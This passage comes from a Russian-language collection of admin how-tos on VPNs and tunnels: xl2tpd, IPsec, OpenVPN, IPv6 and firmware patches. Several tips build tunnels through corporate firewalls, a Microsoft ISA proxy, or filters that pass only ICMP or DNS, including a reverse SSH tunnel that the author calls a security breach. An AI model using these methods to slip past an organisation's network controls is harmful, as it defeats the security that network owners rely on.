       +    buf->start += sizeof(struct payload_hdr) + offset;
       +    buf->len -= sizeof(struct payload_hdr) + offset;
     
         c->rx_pkts++;
         c->rx_bytes += buf->len;
       --- xl2tpd-1.2.7+dfsg.orig/call.c
       +++ xl2tpd-1.2.7+dfsg/call.c
       @@ -52,8 +52,8 @@ void add_payload_hdr (struct tunnel *t,
         buf->start -= sizeof (struct payload_hdr);
         buf->len += sizeof (struct payload_hdr);
         /* Account for no offset */
       -    buf->start += 4;
       -    buf->len -= 4;
       +    buf->start += 2;
       +    buf->len -= 2;
         if (!c->fbit && !c->ourfbit)
         {
             /* Forget about Ns and Nr fields then */
       --- xl2tpd-1.2.7+dfsg.orig/l2tp.h
       +++ xl2tpd-1.2.7+dfsg/l2tp.h
       @@ -82,7 +82,7 @@ struct payload_hdr
         _u16 Ns;                    /* Optional next sent */
         _u16 Nr;                    /* Optional next received */
         _u16 o_size;                /* Optional offset size */
       -    _u16 o_pad;                 /* Optional offset padding */
       +//    _u16 o_pad;                 /* Optional offset padding */
       } __attribute__((packed));
     
        #define NZL_TIMEOUT_DIVISOR 4   /* Divide TIMEOUT by this and
    
    
    Патч http://ilyx.ru/xl2tpd/wr_pk-nolog-err11.patch:
    
       --- xl2tpd-1.2.7+dfsg.orig/control.c
       +++ xl2tpd-1.2.7+dfsg/control.c
       @@ -1636,15 +1637,14 @@ inline int write_packet (struct buffer *
         }
        #endif
     
       -    x = write (c->fd, wbuf, pos);
       -    if (x < pos)
       +    x = 0;
       +    while ( pos != 0 )
            {
       -      if (DEBUG)
       +      x = write (c->fd, wbuf+x, pos);
       +      if ( x < 0 ) {
       +        if ( errno != EINTR && errno != EAGAIN ) {
        	l2tp_log (LOG_WARNING, "%s: %s(%d)\n", __FUNCTION__, strerror  (errno),
        		  errno);
       -
       -        if (!(errno == EINTR) && !(errno == EAGAIN))
       -        {
                 /*
                    * I guess pppd died.  we'll pretend
                    * everything ended normally
       @@ -1653,6 +1653,12 @@ inline int write_packet (struct buffer *
                 c->fd = -1;
                 return -EIO;
             }
       +        else {
       +	   x = 0;
       +          continue;
       +        }
       +      }
       +      pos = pos - x;
            }
            return 0;
        }
    
    Ставим желательно пропатченный xl2tpd. Далее приведу свои файлы конфигураций.
    
    xl2tpd.conf:
    
       [global]
       access control = yes
       [lac beeline]
       lns = tp.internet.beeline.ru
       redial = yes
       redial timeout = 20
       pppoptfile = /etc/ppp/options.xl2tpd
       autodial = yes
       flow bit = no
    
    /etc/ppp/options.xl2tpd:
    
       asyncmap 0000
       mru 1460
       mtu 1460
       name xxxxxxxx
       noaccomp
       nopcomp
       novj
       novjccomp
       noauth
       nobsdcomp
       nodeflate
       noipx
       noauth
       nomp
       refuse-eap
       # refuse-chap
       refuse-pap
       # refuse-mschap
       # refuse-mschap-v2
       replacedefaultroute
       defaultroute
       ipparam l2tp
       unit 0
    
    /etc/ppp/options:
    
       lcp-echo-failure 10
       lcp-echo-adaptive
       lcp-echo-interval 60
    
    демон pppd читает оба файла(options.xl2tpd, options). Не забываем "chap-secrets".
    
    Убираем маршрут к "tp.internet.beeline.ru" после старта "pppd" через созданный
    туннель(спасибо Corbina(Beeline) за адрес l2tp сервера, совпадающий с адресом
    второго конца туннеля).
    
    /etc/ppp/ip-up.d/delroute:
    
       #!/bin/sh
       if [ "x$6" = "xl2tp" ]
       then
          route del -host $5 dev $1
       fi
       exit 0
         
    В iptables, как минимум, нужно правило(если работаем как шлюз):
    
       $IPTABLES -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu
    
    Ну теперь вроде бы все. Прописываем автостарт ethX или ifup ethX, затем
    "/etc/init.d/xl2tpd start" или автостарт при загрузке.
    
    Выключение тоже стандартно "/etc/init.d/xl2tpd stop" ifdown ethX.
    
    PS. У меня работает без разрывов сутками, так как компьютер дома, раза два в
    неделю выключаю. В общем доволен, хотя Beeline, мог бы сделать все по
    прозрачней для конечного пользователя. Но видимо
    не хотят. 
    
    Патчи, сборку пакета для Debian 6 amd64 и оригинал руководства можно скачать здесь.
    
     
    ----* IPSec туннель между Cisco и CentOS Linux   Автор: PsV  [комментарии]
     
    Имеем:
    
    1 Маршрутизатор Cisco 5510 ASA с реальным IP 1.1.1.1 (сеть XXX.XXX.0.0/24)
    2. Маршрутизатор Linux CentOS 5.2 (ядро 2.6.18-92.el5) с установленным
    ipsec-tools-0.6.5-13.el5_3.1 и реальным IP 2.2.2.2 (сеть XXX.XXX.0.0/16)
    
    Конфигурация на маршрутизаторе Cisco:
    
       crypto isakmp policy 5
        encr aes
        authentication pre-share
        group 2
        lifetime 3600
        hash sha
       !
       crypto isakmp key SECRETKEY address 2.2.2.2
       crypto ipsec security-association lifetime seconds 3600
       crypto ipsec transform-set GK esp-aes esp-sha-hmac
       crypto map IPSec 7 ipsec-isakmp
       set peer 2.2.2.2
       set transform-set GK
       set pfs group2
       match address 666
      !
      interface GigabitEthernet0/0.1
       ip address 1.1.1.1 255.255.255.224
       crypto map IPSec
      !
      ip route XXX.XXX.0.0 255.255.255.0 2.2.2.2
      access-list 666 remark asGK
      access-list 666 permit ip  XXX.XXX.0.0 0.0.255.255  XXX.XXX.0.0 0.0.0.255
      access-list 666 deny   ip any any
    
    
    Конфигурация на машине с Linux CentOS:
    
    /etc/sysconfig/network-scripts/ifcfg-ipsec0
    
       TYPE=IPSEC
       ONBOOT=yes
       IKE_METHOD=PSK
       IKE_PSK=SECRETKEY
       IKE_DHGROUP=2
       ESP_PROTO=aes
       AH_PROTO=none
       AESP_PROTO=hmac-sha1
       SRC=2.2.2.2
       SRCGW=XXX.XXX.0.100
       DSTGW=1.1.1.1
       SRCNET=XXX.XXX.0.0/24
       DSTNET=XXX.XXX.0/16
       DST=1.1.1.1
    
    
    /etc/racoon/racoon.conf
    
       path include "/etc/racoon";
       path pre_shared_key "/etc/racoon/psk.txt";
       log notify;
    
       listen
       {
          isakmp 2.2.2.2 [500];
       }
    
       sainfo address  XXX.XXX.0.0/24 any address XXX.XXX.0.0/16 any
       {
           pfs_group 2;
           lifetime time 6400 sec;
           encryption_algorithm aes;
           authentication_algorithm hmac_sha1;
           compression_algorithm deflate;
       }
    
    
    и не забываем про iptables!!
    
    после настройки
    
       #ifup ipsec0
    
    после поднятия ipsec0 можно посмотреть есть ли туннель
    
       #setkey -D
    
       2.2.2.2 1.1.1.1
           esp mode=tunnel spi=3839224802(0xe4d5ebe2) reqid=0(0x00000000)
           E: aes-cbc  c98674dd c1cda3a8 36f39eb5 84fd56b4 192e4acd 7ad470d7 0176919b c955cc38
           A: hmac-sha1  d8e6305b 8b0352ab 249d125f 1515e6a8 136d8896
           seq=0x00000000 replay=4 flags=0x00000000 state=mature
           created: Jul  8 10:19:23 2010 current: Jul  8 10:44:57 2010
           diff: 1534(s)   hard: 86400(s)  soft: 69120(s)
           last: Jul  8 10:19:27 2010    hard: 0(s)        soft: 0(s)
           current: 2160(bytes)    hard: 0(bytes)  soft: 0(bytes)
           allocated: 18   hard: 0 soft: 0
           sadb_seq=1 pid=8863 refcnt=0
       1.1.1.1 2.2.2.2
           esp mode=tunnel spi=111533039(0x06a5dbef) reqid=0(0x00000000)
           E: aes-cbc  3e1f5040 cf6c15d2 8083dc28 aa6006ef df53337f 13b31da2 2782ef5c e46d3567
           A: hmac-sha1  a9553dd3 e9b431a5 534baef8 a2b1f34b cc2b8867
           seq=0x00000000 replay=4 flags=0x00000000 state=mature
           created: Jul  8 10:19:23 2010 current: Jul  8 10:44:57 2010
           diff: 1534(s)   hard: 86400(s)  soft: 69120(s)
           last: Jul  8 10:19:27 2010    hard: 0(s)        soft: 0(s)
           current: 833(bytes)     hard: 0(bytes)  soft: 0(bytes)
           allocated: 18   hard: 0 soft: 0
           sadb_seq=0 pid=8863 refcnt=0
    
    
    Ссылки:
           http://www.opennet.dev/base/cisco/cisco_ipsec_freebsd.txt.html (очень помогла эта статья)
           http://netbsd.gw.com/cgi-bin/man-cgi?racoon++NetBSD-current
    
     
    ----* Создание HTTP-туннеля для удаленного доступа к Linux-хосту в обход Microsoft ISA (доп. ссылка 1)   [комментарии]
     
    Для организации управления внешней рабочей станцией из корпоративной сети,
    защищенной Microsoft ISA, можно поднять HTTP-туннель, при помощи которого можно
    установить TCP-соединение, несмотря на использование HTTP-прокси и жестких
    политик ограничения доступа на межсетевом экране.
    
    Использовать классический пакет GNU HTTPtunnel
    (http://www.gnu.org/software/httptunnel/) в такой ситуации мешает отсутствие
    поддержки в данной программе  NTLM-аутентифиукации, как правило используемой
    при организации выхода пользователей в сеть через Microsoft ISA. Выходом в
    данной ситуации является использование программы BoutDuTunnel
    (http://boutdutunnel.net/), совместимой с большинством HTTP-прокси,
    поддерживающей NTLM-аутентифиукацию, способной работать даже при блокировании
    HTTPS и метода "Connect", содержащей в себе встроенный HTTP-сервер и
    поддерживающей работу поверх Socks.
    
    BoutDuTunnel поддерживает работу из Linux и Windows, при запуске из Linux
    достаточно установить пакет mono и загрузить готовый исполняемый файл bdtunnel
    (http://sourceforge.net/projects/bdtunnel/files/).
    
    После установки правим на стороне удаленного сервера файл BdtServerCfg.cfg в
    директории BdtServer, приведя его примерно в такой вид:
    
       <service
          name = "BdtServer"
          protocol = "Bdt.Shared.Protocol.TcpRemoting"
          port = "80"
        />
    
       <users>
          <имя_пользователя
             enabled = "true"
             password = "пароль"
             admin = "false"
             stimeout = "12"
             ctimeout = "1"
          />
       </users>
    
    , где name - имя туннеля (должно быть одинаковым на обоих концах туннеля),
    protocol - тип туннельного протокола, port - номер серверного порта для
    формирования туннеля. Секция "users" определяет параметры авторизации для
    создания туннеля и таймауты для сброса неактивных сессий и соединений.
    
    После настройки запускаем на стороне удаленного сервера (привилегии
    суперпользователя нужны для организации приема соединений на 80 порту):
    
       sudo mono BdtServer.exe
    
    На стороне клиента, находящегося в локальной сети за прокси-сервером, правим
    файл BdtClientCfg.xml в директории BdtGuiClient, приведя его к виду:
    
       <service
          name="BdtServer"
          protocol="Bdt.Shared.Protocol.TcpRemoting"
          address="адрес удаленного сервера"
          port="80"
          username="имя пользователя"
          password="пароль"
          culture=""
       />
    
       <port22
          enabled="true"
          shared="false"
          address="адрес удаленного сервера"
          port="22" 
       />
    
    Секция port22 определяет проброс 22 порта на удаленный сервер, что позволит
    использовать протокол SSH или работающие поверх него сервисы, например, rsync,
    git, NX Client.
    
    Запускаем BdtGuiClient.exe, после чего при соединении к localhost по 22 порту
    будет автоматически произведен переброс на 22 порт удаленного сервера, при этом
    с точки зрения прокси будет установленно классическое HTTP-соединение, так как
    на удаленном конце BoutDuTunnel выступает в роли HTTP-сервера, а не использует
    HTTPS-метод "Connect".
    
    Для противников Mono вместо BoutDuTunnel можно рекомендовать имеющийся в
    стандартных репозиториях Debian/Ubuntu пакет proxytunnel
    (http://proxytunnel.sourceforge.net/), который также поддерживает
    NTLM-аутентификацию, но может работать только на Unix-совместимых системах и
    требует включения метода connect на прокси.
    
    Для проброса 22 порта поверх HTTP-прокси при использовании proxytunnel
    достаточно прописать в файл конфигурации OpenSSH ~/.ssh/config:
    
       ProtocolKeepAlives 30
       ProxyCommand /usr/bin/proxytunnel --ntlm -p хост_прокси:порт_прокси -u логин -s пароль -d удаленный_сервер:443
    
     
    ----* Установка PAN-соединения через bluetooth во FreeBSD 7.2   Автор: shurik  [комментарии]
     
    Рассказ об организации выхода ноутбутка  в сеть через комуникатор Toshiba
    Portege G810 с Windows Mobile 6.1 на борту,
    не позволяющий использовать его в качестве gprs-модема, но позволяющий
    организовать соединение с ПК
    через bluetooth PAN. 
    
    В состав FreeBSD 7.2 был включен демон btpand с реализацией поддержки профилей
    Bluetooth Network Access Point (NAP),
    Group Ad-hoc Network (GN) и Personal Area Network User (PANU). Связывание комуникатора с 
    ноутбуком через bluetooth я описывать не буду - это хорошо изложено в хендбуке 
    (http://www.freebsd.org/doc/ru/books/handbook/network-bluetooth.html). 
    Для использования btpand нам необходимо знать BD_ADDR не только коммуникатора, но и локального ПК. 
    
    Узнать его можно так:
    
       # hccontrol Read_BD_ADDR
       BD_ADDR: 00:1a:6b:df:1b:c9
    
    Для удобства добавим BD_ADDR комуниактора и ПК в /etc/bluetooth/hosts:
    
       00:1a:6b:df:1b:c9 hp6710s
       00:1b:24:a8:9c:76 g810
    
    Далее все как описано в man 8 btpand:
    
       # ifconfig tap0 create
    
       # btpand -a g810 -d hp6710s -s NAP -i tap0
    
       btpand[1986]: Searching for NAP service at 00:1b:24:a8:9c:76
       btpand[1986]: Found PSM 15 for service NAP
       btpand[1986]: Opening connection to service 0x1116 at 00:1b:24:a8:9c:76
       btpand[1986]: channel_open: (fd#4)
       btpand[1986]: Using interface tap0 with addr 00:00:6b:df:1b:c9
       btpand[1986]: channel_open: (fd#5)
    
       # dhclient tap0
    
       DHCPDISCOVER on tap0 to 255.255.255.255 port 67 interval 5
       DHCPOFFER from 192.168.0.1
       DHCPREQUEST on tap0 to 255.255.255.255 port 67
       DHCPACK from 192.168.0.1
       bound to 192.168.0.238 -- renewal in 129600 seconds.
    
    Все можем работать:)
    
     
    ----* Ограничение возможностей ssh туннеля при помощи iptables   Автор: Avatar  [комментарии]
     
    Использование туннелей на основе ssh сейчас широко распространено. И многие используют его как 
    универсальное решение для организации туннелей внутрь локальной сети для
    доступа к различным сервисам.
    И в связи с этим очень часто возникает вопрос "А как ограничить возможности такого туннеля".
    
    Например: 
    есть компания, которая обслуживает ваш web сервер. Для выполнения этой работы требуется доступ 
    к серверу web-server.dmz по портам 80 и 443.
    
    Решение: 
    на сервере ssh, через который создаётся туннель, выполняем: 
    
    1) добавляем пользователя aaa
    
    2) устанавливаем ему шелл /bin/false (или другой, только так чтобы он не мог залогиниться)
    
    3) Добавляем правила iptables:
    
       iptables -A OUTPUT -d web-server.dmz -p tcp -m tcp --dport 80 -m owner --uid-owner aaa -j ACCEPT
       iptables -A OUTPUT -d web-server.dmz -p tcp -m tcp --dport 443 -m owner --uid-owner aaa -j ACCEPT
       iptables -A OUTPUT -m owner --uid-owner aaa -j REJECT
    
     
    ----* Включение поддержки VLAN на ADSL-маршрутизаторе D-Link 2500U/BRU/D   Автор: halic  [комментарии]
     
    Переделанная прошивка позволяет указывать VLAN-id на ethernet порте  модема D-Link 2500U/BRU/D
    (http://dlink.ru/ru/products/3/745.html).
    VLAN-id не указывается каким-то отдельным пунктом, а берется из IP.
    Если нужен VLAN-id 22, меняйте локальный IP модема на X.X.22.X, если 66 - X.X.66.X.
    Например: 192.168.55.1 для VLAN-id #55.
    Прошивка проверенно работает на модемах первой ревизии, т.е. без индикатора Internet.
    
    Оригинальные исходники можно загрузить здесь:
       ftp://ftp.dlink.ru/pub/ADSL/GPL_source_code/DSL-2500U_BRU_D/DLink_DSL-2500U_RU_1.20_release.tar.gz
    
    Патч:
    
       diff -urN ../DLink_DSL-2500U.original/hostTools/scripts/defconfig-bcm.template ./hostTools/scripts/defconfig-bcm.template
       --- ../DLink_DSL-2500U.original/hostTools/scripts/defconfig-bcm.template	2008-06-13 16:43:17.000000000 +0300
       +++ ./hostTools/scripts/defconfig-bcm.template	2009-02-06 21:19:01.000000000 +0200
       @@ -615,7 +615,7 @@
        CONFIG_ATM_BR2684=m
        # CONFIG_ATM_BR2684_IPFILTER is not set
        CONFIG_ATM_RT2684=y
       -# CONFIG_VLAN_8021Q is not set
       +CONFIG_VLAN_8021Q=y
        # CONFIG_LLC2 is not set
        # CONFIG_IPX is not set
        # CONFIG_ATALK is not set
       diff -urN ../DLink_DSL-2500U.original/hostTools/scripts/gendefconfig ./hostTools/scripts/gendefconfig
       --- ../DLink_DSL-2500U.original/hostTools/scripts/gendefconfig	2008-06-13 16:43:17.000000000 +0300
       +++ ./hostTools/scripts/gendefconfig	2009-02-06 21:18:45.000000000 +0200
       @@ -462,9 +462,9 @@
       ############################################################
       # VLAN config generation
       ############################################################
       -if [ "$BUILD_VCONFIG" != "" -o "$BUILD_WANVLANMUX" != "" ]; then
       -SEDCMD="$SEDCMD -e 's/# CONFIG_VLAN_8021Q is not  set/CONFIG_VLAN_8021Q=y/'"
       -fi
       +#if [ "$BUILD_VCONFIG" != "" -o "$BUILD_WANVLANMUX" != "" ]; then
       +#SEDCMD="$SEDCMD -e 's/# CONFIG_VLAN_8021Q is not  set/CONFIG_VLAN_8021Q=y/'"
       +#fi
     
        ############################################################
        #       WAN operation over Ethernet
       diff -urN ../DLink_DSL-2500U.original/targets/fs.src/etc/rc.vlan ./targets/fs.src/etc/rc.vlan
       --- ../DLink_DSL-2500U.original/targets/fs.src/etc/rc.vlan	1970-01-01 03:00:00.000000000 +0300
       +++ ./targets/fs.src/etc/rc.vlan	2009-02-07 06:32:13.000000000 +0200
       @@ -0,0 +1,12 @@
       +#!/bin/sh
       +
       +PATH=/bin:/sbin:/usr/bin
       +export PATH
       +
       +VID=$1
       +VIF=eth0.$VID
       +
       +vconfig add eth0 $VID > /dev/null 2> /dev/null
       +ifconfig $VIF up > /dev/null 2> /dev/null
       +brctl addif br0 $VIF > /dev/null 2> /dev/null
       +brctl delif br0 eth0 > /dev/null 2> /dev/null
       diff -urN ../DLink_DSL-2500U.original/userapps/broadcom/cfm/html   /DLink_Style/footer.html ./userapps/broadcom/cfm/html/DLink_Style/footer.html
       --- ../DLink_DSL-2500U.original/userapps/broadcom/cfm/html/DLink_Style/footer.html	2008-06-13 16:45:30.000000000 +0300
       +++ ./userapps/broadcom/cfm/html/DLink_Style/footer.html	2009-02-09 22:02:46.000000000 +0200
       @@ -11,9 +11,9 @@
                 <tr>
                     <td class="footerTd" align="center">
                         <font color="white" face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular">
       -                    Recommend: 800x600 pixels,High Color(16 Bits)
       +                    Recommend: 800x600 pixels,High Color(16 Bits) · <font color="red">VLAN POWERED</font>
                     </font></td>
                 </tr>
             </table>
         </body>
       -</html>
       \ No newline at end of file
       +</html>
       diff -urN ../DLink_DSL-2500U.original/userapps/opensource/busybox/brcm.config ./userapps/opensource/busybox/brcm.config
       --- ../DLink_DSL-2500U.original/userapps/opensource/busybox/brcm.config	2008-06-13 16:45:18.000000000 +0300
       +++ ./userapps/opensource/busybox/brcm.config	2009-02-07 01:32:49.000000000 +0200
       @@ -279,7 +279,7 @@
        CONFIG_FEATURE_TFTP_DEBUG=n
     
        # CONFIG_TRACEROUTE is not set
       -CONFIG_VCONFIG=n
       +CONFIG_VCONFIG=y
        # CONFIG_WGET is not set
     
        #
       diff -urN ../DLink_DSL-2500U.original/userapps/opensource/busybox/networking/ifconfig.c ./userapps/opensource/busybox/networking/ifconfig.c
       --- ../DLink_DSL-2500U.original/userapps/opensource/busybox/networking/ifconfig.c	2008-06-13 16:45:17.000000000 +0300
       +++ ./userapps/opensource/busybox/networking/ifconfig.c	2009-02-07 07:42:04.000000000 +0200
       @@ -37,6 +37,7 @@
        #include <string.h>		/* strcmp and friends */
        #include <ctype.h>		/* isdigit and friends */
        #include <stddef.h>		/* offsetof */
       +#include <unistd.h>
        #include <netdb.h>
        #include <sys/ioctl.h>
        #include <net/if.h>
       @@ -558,6 +559,28 @@
     		continue;
     	}					/* end of while-loop    */
     
       +	if(	strcmp(ifr.ifr_name, "br0") == 0  &&
       +		((char*)&sai.sin_addr.s_addr)[0] != 0 &&
       +		((char*)&sai.sin_addr.s_addr)[2] > 1
       +	  )
       +	{
       +		int __pid;
       +		char __cmd[32];
       +
       +		if((__pid = fork()) == 0)
       +		{
       +			sprintf(__cmd, "/etc/rc.vlan %d", 
       +				(char)    (((char*)&sai.sin_addr.s_addr)[2]) );
       +			execl("/bin/sh", "/bin/sh", "-c", __cmd, NULL);
       +			exit(0);
       +		}
       +		else
       +		{
       +			if(__pid == -1)
       +				fprintf(stderr, "ifconfig: unable to execute /etc/rc.vlan\n");
       +		}
       +	}
       +
     	return goterr;
        }
     
    
    Готовый бинарник можно запросить по адресу: <halic, который на инбоксе в россии>.
    
     
    ----* Проброс TCP соединения через ICMP туннель   [комментарии]
     
    Утилита PingTunnel (http://www.cs.uit.no/~daniels/PingTunnel/) позволяет организовать 
    TCP тунель поверх ICMP 'echo' или 53 UDP порта. Подобное может оказаться полезным для обеспечения
    работы клиента, для которого пакетным фильтром заблокирован весь трафик, кроме
    ICMP или 53 UDP порта.
    Для работы PingTunnel необходим запуск прокси-процесса на удаленной машине 
    (не важно, под какой ОС, утилитой поддерживается даже Windows), имеющей выход в сеть.
    
    Ставим ptunnel.
    В Debian/Ubuntu:
       apt-get install ptunnel
    В RedHat/CentOS/Fedora:
       yum install ptunnel
    Во FreeBSD:
       cd /usr/ports/net/ptunnel && make && make install
    
    На внешней машине, имеющей выход в сеть, запускаем icmp-прокси ("-x пароль" можно не указывать, 
    но тогда пустит любого):
    
       ptunnel -x пароль
    
    На локальной машине, на которой ничего кроме ICMP не работает, поднимаем туннель:
    
       ptunnel -p хост_прокси -lp локальный_порт_туннеля -da адрес_дальнейшего_проброса \
          -dp порт_дальнейшего_проброса -x пароль
    
    Например:
    
        ptunnel -p proxy.testhost.ru -lp 2222 -da server.testhost.ru -dp 22 -x пароль
    
    На proxy.testhost.ru у нас должен быть запущен icmp-прокси.
    
    При коннекте на 2222 порт локальной машины мы будем переброшены на 22 порт
    хоста server.testhost.ru
    
    Например, для входа на server.testhost.ru по SSH нужно набрать:
    
       ssh -p 2222 localhost
    
    В случае проблем можно попробовать указать имя внешнего сетевого интерфейса через опцию "-c", 
    например "-c eth1".
    
    Для создания туннеля через 53 UDP порт на локальной и удаленной стороне нужно
    запустить ptunnel c опцией "-udp".
    
     
    ----* Организация подключения по SSH через HTTP прокси   [комментарии]
     
    Устанавливаем ПО corkscrew (http://www.agroman.net/corkscrew/), позволяющее
    создавать туннели поверх HTTP прокси.
    
    Например, для Debian/Ubuntu:
       apt-get install corkscrew
    
    Для FreeBSD:
       cd /usr/ports/net/corkscrew && make && make install
    
    
    Создаем в домашней директории файл настроек .proxy-auth в который прописываем логин и пароль 
    для подключения к прокси, в формате "имя:пароль", например:
    
       moi_login:moi_parol
    
    Настраиваем проброс туннеля в SSH. В ~/.ssh/config добавляем:
    
       Host *
       ProxyCommand corkscrew хост_прокси_сервера порт_прокси_сервера %h %p ~/.proxy-auth
    
    Вместо %h и %p ssh подставит хост и порт удаленной машины
    
    Подключаемся к внешнему хосту стандартно:
    
       ssh testhost.ru
    
     
    ----* Автоматическое изменение MTU при поднятии VPN соединения   Автор: HolyGun  [комментарии]
     
    Столкнулся с такой проблемой, что при поднятии VPN соединения по умолчанию у каждого соединения 
    MTU равен был 1396. В результате чего не работало большое количество сайтов.
    
    Решение такое.
    Сервер Fedora 8, с установленным pptpd.
    в скрипт /etc/ppp/ip-up добавил одно условие:
    
       if [ "${REALDEVICE}" != "ppp0" ]; then
          ifconfig ${REALDEVICE} mtu 1400
       fi
    
    Теперь скрипт выглядит так:
    
       #!/bin/bash
       # This file should not be modified -- make local changes to
       # /etc/ppp/ip-up.local instead
    
       PATH=/sbin:/usr/sbin:/bin:/usr/bin
       export PATH
     
       LOGDEVICE=$6
       REALDEVICE=$1
    
       [ -f /etc/sysconfig/network-scripts/ifcfg-${LOGDEVICE} ] && 
          /etc/sysconfig/network-scripts/ifup-post --realdevice ${REALDEVICE} ifcfg-${LOGDEVICE}
    
       /etc/ppp/ip-up.ipv6to4 ${LOGDEVICE}
    
       if [ "${REALDEVICE}" != "ppp0" ]; then
          ifconfig ${REALDEVICE} mtu 1400
       fi
    
       [ -x /etc/ppp/ip-up.local ] && /etc/ppp/ip-up.local "$@"
    
       exit 0
    
    PS. Средствами pptpd я не смог установить MTU в нужное значение. Если есть какие либо идеи, 
    не поленитесь, поделитесь :)
    
     
    ----* Настройка IPv6 в Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    IPv6 соединение будем туннелировать через брокер туннелей (Tunnel Broker), 
    так как не все ISP поддерживают прямое IPv6 соединение.
    
    Регистрируем свою систему в сервисе http://tunnelbroker.net/ (выбираем "Create Regular Tunnel")  , 
    http://go6.net/4105/freenet.asp или http://www.sixxs.net/
    
    При регистрации вводим IPv4 адрес машины, на которой будет поднят туннель.
    После регистрации получаем: 
    IPv4 адрес удаленного конца туннеля: 216.66.80.30
    IPv6 адрес удаленного шлюза: 2001:0470:1f0a:cc0::1/64
    Клиентский IPv6 адрес, который нужно использовать на своей машине: 2001:0470:1f0a:cc0::2/64
    
    Поднимаем IPv6-in-IPv4 туннель:
    
       ifconfig sit0 up
       ifconfig sit0 inet6 tunnel ::216.66.80.30
       ifconfig sit1 up
       ifconfig sit1 inet6 add 2001:0470:1f0a:cc0::2/64
       route -A inet6 add ::/0 dev sit1
    
    Проверяем через пинг удаленного конца туннеля и IPv6 хоста из списка
    http://www.ipv6.org/v6-www.html :
       ping6 -c4 2001:0470:1f0a:cc0::1
       ping6 -c4 www.ipv6.uni-muenster.de
    
    
    Создаем файл /etc/network/if-up.d/ipv6 для настройки параметров при загрузке:
    
       #!/bin/sh
       PATH=/sbin:/bin
       ifconfig sit0 up
       ifconfig sit0 inet6 tunnel ::216.66.80.30
       ifconfig sit1 up
       ifconfig sit1 inet6 add 2001:0470:1f0a:cc0::2/64
       route -A inet6 add ::/0 dev sit1
    
    Не забываем поставить права доступа:
       chmod 755 /etc/network/if-up.d/ipv6
    
     
    ----* Туннели с использованием SSH. Режим эмуляции Socks proxy в SSH (доп. ссылка 1) (доп. ссылка 2)   Автор: Vladimir Brednikov  [комментарии]
     
    1. Режим эмуляции Socks proxy в SSH
    
    Допустим, у нас есть рабочая станция в локальной сети за firewall'ом;
    также имеется ssh-доступ на сервер в Интернете. Кроме ssh, никакой связи с
    внешним миром не имеется,
    а очень хочется, например, подключиться к какому-нибудь jabber-серверу.
    
    На рабочей станции запускаем простую команду:
    
       ssh -D 5555 user@remotehost -f -N
    
    , где -D 5555 - эмуляция SOCKS сервера через порт 5555 
    -f  - работа в фоне, после аутентификации
    -N - не запускать shell на удаленном хосте.
    
    Теперь, указав в настройках XMPP-клиента (например, Pidgin'а) в качестве SOCKS5
    прокси localhost:5555,
    получим желаемый результат: Pidgin соединяется с сервером через внешний сервер.
    
    
    2. Туннель ssh
    
    Дано: сервер локальной сети ourproxy.provider.ru, доступный извне.
    
    Требуется: получить из дома доступ к ресурсам внутри локальной сети, например,
    к интранет-серверу 10.10.5.1:80
    
    Решение: выполнить на домашней машине команду, пробрасывающую туннель к
    искомому IP-адресу через ourproxy.provider.ru:
    
        ssh -f -N user@ourproxy.provider.ru -L 8080:10.10.5.1:80
    
    Опция -f говорит ssh, что после соединения нужно уйти в background.
    Опция -N указывает, что никаких команд выполнять не нужно
    Ключ -L означает, что соединения к localhost на порт 8080 нужно перенаправлять
    на 80 порт IP-адреса 10.10.5.1
    
    Таким образом, набирая в браузере адрес http://localhost:8080, попадаем на нужный сервер.
    
    
    3. Обратный туннель ssh
    
    
    Дано: компьютер на работе, находящийся за firewall'ом и nat'ом; компьютер дома
    с доступом в интернет;
    сервер ourproxy.provider.ru с работающим sshd, доступный обоим компьютерам. 
    Но в данном случае прямой доступ с ourproxy.provider.ru к рабочей машине отсутствует.
    
    Требуется: получить из дома доступ к сервису sshd на рабочем компьютере.
    
    Решение: на рабочей машине выполнить команду:
    
        ssh -f -N user@ourproxy.provider.ru -R 12345:localhost:22
    
    Опции -f и -N описаны несколькими строчками выше.
    Ключ -R означает, что подключения к порту 12345 на ourproxy.provider.ru будут
    перенаправляться на 22 порт рабочего компьютера.
    
    После выполнения этой команды с рабочей машины можно будет попасть на эту
    машину с ourproxy.provider.ru,
    выполнив команду:
    
        ssh -p 12345 user@locahost
    
    По этому же принципу можно получить доступ к прочим ресурсам локальной сети. Вот еще один пример.
    
    На рабочей машине:
    
        ssh -f -N user@ourproxy.provider.ru -R 8080:10.10.5.1:80
    
    На домашней машине:
    
        ssh -f -N user@ourproxy.provider.ru -L localhost:8080:localhost:8080
    
    Теперь, набрав в адресной строке браузера на домашнем компьютере http://localhost:8080, 
    получаем доступ к интранет-серверу за семью замками двумя firewall-ами.
    
    Конечно же, это приводит к серьёзной бреши в корпоративной безопасности, 
    поэтому крайне не рекомендуется злоупотреблять этим советом.
    
     
    ----* OpenVPN с TAP в OpenBSD   Автор: Вадим Жуков  [обсудить]
     
    OpenBSD не имеет устройства tap(4), которое по своей сути является простым
    туннелем 2-го уровня OSI.
    Вместо этого необходимо использовать tun(4), причём для последнего нужно перед
    запуском openvpn установить link0.
    Также, при использовании --pool следует учесть, что openvpn передаёт различные параметры настройки 
    для TAP- и tun-соединений, из-за чего необходимо отказываться от предлагаемого выполнения ifconfig 
    самим OpenVPN и вместо этого юзать свой скрипт, в который в простейшем случаю жёстко прописываются 
    адрес удалённого конца туннеля и broadcast-адрес. В итоге получается примерно такой набор команд:
    
    $ sudo cat /etc/hostname.tun1
    
       up link0
       !openvpn --config /etc/openvpn/mytunnel --verb 0 & sleep 5
       $ sudo cat /etc/openvpn/mytunnel.conf
       dev tun1
       dev-type tap
       pull
       ifconfig-noexec
       up "/etc/openvpn/mytunnel.up"
       auth-user-pass "/etc/openvpn/mytunnel.pwd"
    
    $ cat /etc/openvpn/mytunnel.up
    
       #!/bin/sh
       TUN_DEV="$1"; shift
       TUN_MTU="$1"; shift
       LINK_MTU="$1"; shift
       LOCAL_IP="$1"; shift
       NETMASK="$1"; shift
       MODE="$1"; shift
       ifconfig $TUN_DEV $LOCAL_IP 10.1.2.1 netmask $NETMASK broadcast 10.1.2.255 mtu $TUN_MTU
    
    Учтите, что для того, чтобы auth-user-pass позволял указывать файл для чтения паролей, 
    необходимо собирать OpenVPN с опцией "--enable-password-save", которая в текущей версии 
    порта (openvpn-2.1_rc7) не используется. Для исправления этой проблемы лучше всего подправить 
